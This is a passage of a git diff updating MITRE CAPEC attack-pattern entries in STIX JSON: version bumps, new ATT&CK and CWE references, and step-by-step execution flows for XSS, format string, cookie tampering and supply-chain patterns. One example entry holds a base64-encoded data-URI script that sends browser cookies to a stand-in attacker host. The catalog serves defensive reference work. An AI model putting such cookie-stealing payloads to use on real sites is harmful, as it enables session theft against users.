], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The adversary explores to gauge what level of access they have.

Experiment

  1. The adversary gains access to a resource on the target host. The adversary modifies the targeted resource. The resource's value is used to determine the next normal execution action.

Exploit

  1. The resource is modified/checked concurrently by multiple processes. By using one of the processes, the adversary is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the adversary to abuse the target host.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A resource is accessed/modified concurrently by multiple processes such that a race condition exists.", @@ -118,7 +124,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59.json b/capec/attack-pattern/attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59.json index a62d3b6065..a0d54016cf 100644 --- a/capec/attack-pattern/attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59.json +++ b/capec/attack-pattern/attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ac350b21-cf6e-4f2e-9404-7a6783d05e35", + "id": "bundle--1b2b2753-d82c-4964-be5a-6b29da1ec6db", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Functionality Misuse", "description": "An adversary leverages a legitimate capability of an application in such a way as to achieve a negative technical impact. The system functionality is not altered or modified but used in a way that was not intended. This is often accomplished through the overuse of a specific functionality or by leveraging functionality with design flaws that enables the adversary to gain access to unauthorized, sensitive data.", "external_references": [ @@ -16,6 +16,16 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/212.html", "external_id": "CAPEC-212" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1242.html", + "external_id": "CWE-1242" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1281.html", + "external_id": "CWE-1281" } ], "object_marking_refs": [ @@ -43,7 +53,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74.json b/capec/attack-pattern/attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74.json index 5411cdaac4..3f860eff21 100644 --- a/capec/attack-pattern/attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74.json +++ b/capec/attack-pattern/attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--00898367-8cd6-4a09-b7c2-81ae12e25b4d", + "id": "bundle--0ec305e4-b525-4483-ab4c-128d47212609", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Targeting URI Placeholders", "description": "An attack of this type exploits the ability of most browsers to interpret \"data\", \"javascript\" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.", "external_references": [ @@ -79,6 +79,7 @@ "x_capec_example_instances": [ "\n The following payload data:\n text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==\n represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.\n The decoded payload is the following piece of HTML code:\n \n \n \n Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.\n An attacker could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):\n My Link\n Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt injection payload variations on input parameters: Possibly using an automated tool, an attacker requests variations on the inputs they surveyed before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme." @@ -91,7 +92,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee.json b/capec/attack-pattern/attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee.json index 8ba5d8fd68..37e58f4769 100644 --- a/capec/attack-pattern/attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee.json +++ b/capec/attack-pattern/attack-pattern--c7f0c73b-fe94-49c9-89bb-a3ec4441e4ee.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4ccdde5c-1a0c-4ae3-aad1-2895b3bb6763", + "id": "bundle--8551c2db-8cf8-4ef7-adb0-606e2a5ea086", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c8c9dfbe-7a40-4041-84ff-89942878a2f4.json b/capec/attack-pattern/attack-pattern--c8c9dfbe-7a40-4041-84ff-89942878a2f4.json index 9e848a0a1e..5854962833 100644 --- a/capec/attack-pattern/attack-pattern--c8c9dfbe-7a40-4041-84ff-89942878a2f4.json +++ b/capec/attack-pattern/attack-pattern--c8c9dfbe-7a40-4041-84ff-89942878a2f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f55a1856-48b3-4a1e-9ffa-d07a291be604", + "id": "bundle--603d7dc5-57fd-4e9f-b11d-f7d6ca8d6f8d", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--c8c9dfbe-7a40-4041-84ff-89942878a2f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Modification of Registry Run Keys", - "description": "An adversary adds a new entry to the \"run keys\" in the registry so that an application of his choosing is executed when a user logs in. In this way, the adversary can get their executable to operate and run on the target system with the authorized user's level of permissions.", + "description": "An adversary adds a new entry to the \"run keys\" in the registry so that an application of their choosing is executed when a user logs in. In this way, the adversary can get their executable to operate and run on the target system with the authorized user's level of permissions.", "external_references": [ { "source_name": "capec", @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/15.html", "external_id": "CWE-15" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Registry Run Keys \u2013 Start Folder", + "url": "https://attack.mitre.org/wiki/Technique/T1547/001", + "external_id": "T1547.001" } ], "object_marking_refs": [ @@ -43,7 +49,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70.json b/capec/attack-pattern/attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70.json index 41a90f8e7d..2cfe037d9a 100644 --- a/capec/attack-pattern/attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70.json +++ b/capec/attack-pattern/attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b08f47f6-1cc8-4e2d-bf7d-cded0aa36a18", + "id": "bundle--08676062-5b13-4590-a29e-c2f148599b08", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Security Software Footprinting", "description": "Adversaries may attempt to get a listing of security tools that are installed on the system and their configurations. This may include security related system features (such as a built-in firewall or anti-spyware) as well as third-party security software.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/581.html", "external_id": "CAPEC-581" + }, + { + "source_name": "ATTACK", + "description": "Software Discovery:Security Software Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1518/001", + "external_id": "T1518.001" } ], "object_marking_refs": [ @@ -23,7 +29,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d.json b/capec/attack-pattern/attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d.json index 17477f0faa..aa0767cd5b 100644 --- a/capec/attack-pattern/attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d.json +++ b/capec/attack-pattern/attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3bfd642e-538d-4b31-8b56-d6f84a884bdf", + "id": "bundle--64b5d7eb-3a0a-43d7-990f-1eeeae40759a", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38.json b/capec/attack-pattern/attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38.json index b129f332a8..0af92a7f89 100644 --- a/capec/attack-pattern/attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38.json +++ b/capec/attack-pattern/attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cd6ccd4c-91cc-48eb-a030-cba5fd47e9e5", + "id": "bundle--8e37d01e-a698-4102-8dde-3a8d06667c22", "spec_version": "2.0", "objects": [ { @@ -31,6 +31,7 @@ "x_capec_example_instances": [ "An attacker with access to an open source code project introduces a hard-to-find bug in the software that allows under very specific conditions for encryption to be disabled on data streams. The attacker commits the change to the code which is picked up by a manufacturer who develops VPN software. It is eventually deployed at the victim's location where the very specific conditions are met, and the attacker is able to sniff plaintext traffic thought to be encrypted, allowing the attacker to gain access to sensitive data of the victim." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the relevent open-source code project to target: The adversary will make the selection based on various criteria:

Experiment

  1. Develop a malicious contribution plan: The adversary develops a plan to contribute the malicious code, taking the following into consideration:

Exploit

  1. Execute the malicious contribution plan: Write the code to be contributed based on the plan and then submit the contribution. Multiple commits, possibly using multiple identities, will help obscure the attack. Monitor the contribution site to try to determine if the code has been uploaded to the target system.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "Access to the open source code base being used by the manufacturer in a system being developed or currently deployed at a victim location." @@ -40,7 +41,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7.json b/capec/attack-pattern/attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7.json index ac2a66898f..4d676490ea 100644 --- a/capec/attack-pattern/attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7.json +++ b/capec/attack-pattern/attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7d9206f7-44dd-4405-83e8-fbbe9b7db46f", + "id": "bundle--127464fa-d1ed-473a-b603-6e7db873fa26", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Target Programs with Elevated Privileges", "description": "This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.", "external_references": [ @@ -61,6 +61,7 @@ "Execute Unauthorized Commands (Run Arbitrary Code)" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker probes for programs running with elevated privileges.

  2. The attacker finds a bug in a program running with elevated privileges.

Exploit

  1. The attacker exploits the bug that they have found. For instance, they can try to inject and execute arbitrary code or write to OS resources.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The targeted program runs with elevated OS privileges.", @@ -77,7 +78,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cbabea0a-39ed-4a6f-b752-238fe8c730af.json b/capec/attack-pattern/attack-pattern--cbabea0a-39ed-4a6f-b752-238fe8c730af.json index b7c93240e4..af753965c6 100644 --- a/capec/attack-pattern/attack-pattern--cbabea0a-39ed-4a6f-b752-238fe8c730af.json +++ b/capec/attack-pattern/attack-pattern--cbabea0a-39ed-4a6f-b752-238fe8c730af.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f0b44e6f-dc32-4bd0-afc7-275dac160fbe", + "id": "bundle--45538f20-52ca-43c6-8b0d-48def42b2c66", "spec_version": "2.0", "objects": [ { @@ -75,6 +75,7 @@ "x_capec_example_instances": [ "Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a \"../po\" directory, which can be leveraged to conduct format string attacks. See also: CVE-2007-2027" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: The adversary takes an inventory of the entry points of the application.

    2. Techniques
    Spider web sites for all available links
    List parameters, external variables, configuration files variables, etc. that are possibly used by the application.

Experiment

  1. Determine user-controllable input susceptible to format string injection: Determine the user-controllable input susceptible to format string injection. For each user-controllable input that the adversary suspects is vulnerable to format string injection, attempt to inject formatting characters such as %n, %s, etc.. The goal is to manipulate the string creation using these formatting characters.

    2. Techniques
    Inject probe payload which contains formatting characters (%s, %d, %n, etc.) through input parameters.

Exploit

  1. Try to exploit the Format String Injection vulnerability: After determining that a given input is vulnerable to format string injection, hypothesize what the underlying usage looks like and the associated constraints.

    2. Techniques
    Insert various formatting characters to read or write the memory, e.g. overwrite return address, etc.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target application must accept a strings as user input, fail to sanitize string formatting characters in the user input, and process this string using functions that interpret string formatting characters." @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cbe9fd1f-4b5d-4a3c-b20b-e49888457338.json b/capec/attack-pattern/attack-pattern--cbe9fd1f-4b5d-4a3c-b20b-e49888457338.json new file mode 100644 index 0000000000..a6ffcd9b83 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--cbe9fd1f-4b5d-4a3c-b20b-e49888457338.json @@ -0,0 +1,49 @@ +{ + "type": "bundle", + "id": "bundle--d18b05e9-6e7c-4f2c-9011-6d72c246c2ee", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--cbe9fd1f-4b5d-4a3c-b20b-e49888457338", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Avoid Security Tool Identification by Adding Data", + "description": "\n An adversary adds data to a file to increase the file size beyond what security tools are capable of handling in an attempt to mask their actions.\n In addition to this, adding data to a file also changes the file's hash, frustrating security tools that look for known bad files by their hash.\n ", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/655.html", + "external_id": "CAPEC-655" + }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Binary padding", + "url": "https://attack.mitre.org/wiki/Technique/T1027/001", + "external_id": "T1027.001" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Accountability": [ + "Hide Activities", + "Bypass Protection Mechanism" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "\n Adding data to change the checksum of a file and can be used to avoid hash-based blacklists and static anti-virus signatures.\n " + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_status": "Draft", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7.json b/capec/attack-pattern/attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7.json index 6001fc38f7..f45049ffd4 100644 --- a/capec/attack-pattern/attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7.json +++ b/capec/attack-pattern/attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--402bad90-f867-42b7-9c8f-5e1f3fca5ade", + "id": "bundle--2d8d1157-e5bd-46ca-8803-cfa6a685c079", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ccb9c607-8bfe-4141-8843-356453179da7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Replace File Extension Handlers", "description": "When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Event Triggered Execution:Change Default File Association", + "url": "https://attack.mitre.org/wiki/Technique/T1546/001", + "external_id": "T1546.001" } ], "object_marking_refs": [ @@ -28,7 +34,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078.json b/capec/attack-pattern/attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078.json index fc239e7301..3403ce3122 100644 --- a/capec/attack-pattern/attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078.json +++ b/capec/attack-pattern/attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f6c5d506-eb64-4872-974f-9c7406cbcf0b", + "id": "bundle--d07ab71e-6a67-478f-b042-bdce0c40e37a", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--ccf63cb4-ae14-4c51-a379-9dd09be8f078", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DEPRECATED: Schedule Software To Run", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "external_references": [ { "source_name": "capec", @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748.json b/capec/attack-pattern/attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748.json index 745c22e9e3..415da05fb9 100644 --- a/capec/attack-pattern/attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748.json +++ b/capec/attack-pattern/attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b72f5156-60c7-4bb8-b0b7-b54fef0a5480", + "id": "bundle--9af18249-b857-4563-a70f-fc9a64fda8ef", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2.json b/capec/attack-pattern/attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2.json index 5bab96dc85..0d865b057e 100644 --- a/capec/attack-pattern/attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2.json +++ b/capec/attack-pattern/attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--041e524b-81a2-44fb-8963-f4b82e026e7d", + "id": "bundle--2ea3f053-d3fa-42ac-a60e-1bf6598fbd09", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cddb7bce-8d94-4eea-8e73-9f6ef66376c2.json b/capec/attack-pattern/attack-pattern--cddb7bce-8d94-4eea-8e73-9f6ef66376c2.json index 60245cb3ee..e42ee8b346 100644 --- a/capec/attack-pattern/attack-pattern--cddb7bce-8d94-4eea-8e73-9f6ef66376c2.json +++ b/capec/attack-pattern/attack-pattern--cddb7bce-8d94-4eea-8e73-9f6ef66376c2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4bb518c5-f643-422c-8f26-81881a82dec6", + "id": "bundle--97fb32e7-8745-4d93-8642-2b72244534b6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--cddb7bce-8d94-4eea-8e73-9f6ef66376c2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Accessing/Intercepting/Modifying HTTP Cookies", "description": "This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.", "external_references": [ @@ -105,6 +105,7 @@ "x_capec_example_instances": [ "There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phishing. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the adversary to accomplish if no other protection mechanisms are in place. See also: CVE-2010-5148 , CVE-2016-0353" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Obtain copy of cookie: The adversary first needs to obtain a copy of the cookie. The adversary may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies.

    2. Techniques
    Obtain cookie from local filesystem (e.g. C:\\Documents and Settings\\*\\Cookies and C:\\Documents and Settings\\*\\Application Data\\Mozilla\\Firefox\\Profiles\\*\\cookies.txt in Windows)
    Sniff cookie using a network sniffer such as Wireshark
    Obtain cookie from local memory or filesystem using a utility such as the Firefox Cookie Manager or AnEC Cookie Editor.
    Steal cookie via a cross-site scripting attack.
    Guess cookie contents if it contains predictable information.

Experiment

  1. Obtain sensitive information from cookie: The adversary may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them.

    2. Techniques
    If cookie shows any signs of being encoded using a standard scheme such as base64, decode it.
    Analyze the cookie's contents to determine whether it contains any sensitive information.

  2. Modify cookie to subvert security controls.: The adversary may be able to modify or replace cookies to bypass security controls in the application.

    3. Techniques
    Modify logical parts of cookie and send it back to server to observe the effects.
    Modify numeric parts of cookie arithmetically and send it back to server to observe the effects.
    Modify cookie bitwise and send it back to server to observe the effects.
    Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a \"points balance\" for a given user where the points have some value. The user may spend their points and then replace their cookie with an older one to restore their balance.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target server software must be a HTTP daemon that relies on cookies.", @@ -120,7 +121,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cde07b71-23e6-418d-93e9-665f5f83b032.json b/capec/attack-pattern/attack-pattern--cde07b71-23e6-418d-93e9-665f5f83b032.json index 38bdaa7adb..8f79c94b52 100644 --- a/capec/attack-pattern/attack-pattern--cde07b71-23e6-418d-93e9-665f5f83b032.json +++ b/capec/attack-pattern/attack-pattern--cde07b71-23e6-418d-93e9-665f5f83b032.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--642c88f2-d61b-4e3b-ba88-efc07b7fabfd", + "id": "bundle--6121cb86-c527-4731-90f8-426a7942310c", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ce02da5b-c866-437c-9eec-564c958be2dc.json b/capec/attack-pattern/attack-pattern--ce02da5b-c866-437c-9eec-564c958be2dc.json index e4530c3991..39ee297f88 100644 --- a/capec/attack-pattern/attack-pattern--ce02da5b-c866-437c-9eec-564c958be2dc.json +++ b/capec/attack-pattern/attack-pattern--ce02da5b-c866-437c-9eec-564c958be2dc.json @@ -1,6 +1,6 @@ { "type": 